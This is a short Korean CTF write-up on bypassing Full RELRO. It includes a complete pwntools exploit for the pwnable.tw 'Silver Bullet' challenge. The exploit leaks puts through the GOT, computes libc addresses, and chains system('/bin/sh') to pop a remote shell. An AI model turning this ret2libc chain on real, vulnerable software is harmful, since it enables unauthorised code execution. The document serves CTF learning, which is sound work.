Full Relro 우회법

Full relro 가 걸리면 .

ctors .dtors .jcr .dynamic .got

영역에 READONLY 가 걸리게 됩니다. 이를 우회하기 위해선 간단하게 저 영역에만 안쓰면 뎁니다 ㅎㅎ.....

Got overwrite 같은 경우는 Got 에 함수의 주소를 쓰는건데 살짝 불편하기는 해도 Bss 영역에 쓰거나 아님 RTL 식으로 구성해도 되는 식으로 

우회하는 방법은 생각하는게 우회하는 법입니다.

예시는 추후 들고 오겠습니다... 시험기간이라 예시까지 마련은 못하겠네요 ㅠㅠ

---

예제로 마련한 Pwnable.tw - Sliver_Bullet 입니다.

from pwn import *

import sys

bss = 0x804b028

def payload():

puts_plt = 0x80484a8

puts_got = 0x804afdc

pr = 0x08048475

pay = p32(puts_plt) + p32(pr) + p32(puts_got) + p32(0x08048954)

return pay

def make(Bul):

p.sendline("1")

p.sendline(Bul)

def up(Bul):

p.sendline('2')

p.sendline(Bul)

def kill():

p.sendline('3')

def routin(pay):

make("A"*0x2f)

p.recvuntil('Your choice :')

up("A")

p.recvuntil('Your choice :')

up("\xff"*7 + pay)

p.recvuntil('Your choice :')

# make len (44) + up (4) + up(7) + ret

if __name__=='__main__':

context.log_level='debug'

p = remote("chall.pwnable.tw",10103)

p.recvuntil('Your choice :')

routin(payload())

kill()

p.recvuntil('You win !!\n')

leak_puts = p.recv(4)[0:]

print "[+]Leak : 0x%x" % u32(leak_puts)

leak_puts = u32(leak_puts)

libc = ELF('libc_32.so.6')

libc_puts = libc.symbols['puts']

libc_system = libc.symbols['system']

libc_binsh = next(libc.search("/bin/sh"))

sys = leak_puts - libc_puts + libc_system

binsh = leak_puts - libc_puts + libc_binsh

pay = p32(sys) + p32(0x08048954) + p32(binsh)

p.recvuntil('Your choice :')

routin(pay)

kill()

p.interactive()

Full Relro 가 걸려있었지 않았으면 got overwrite 로 풀리는 문제지만, 걸려있기에

puts 를 통해서 leak을 진행한 후에 다시 메인으로 돌아가서 exploit 을 진행합니다.

이런식으로 Full Relro 를 우회할 수 있습니당!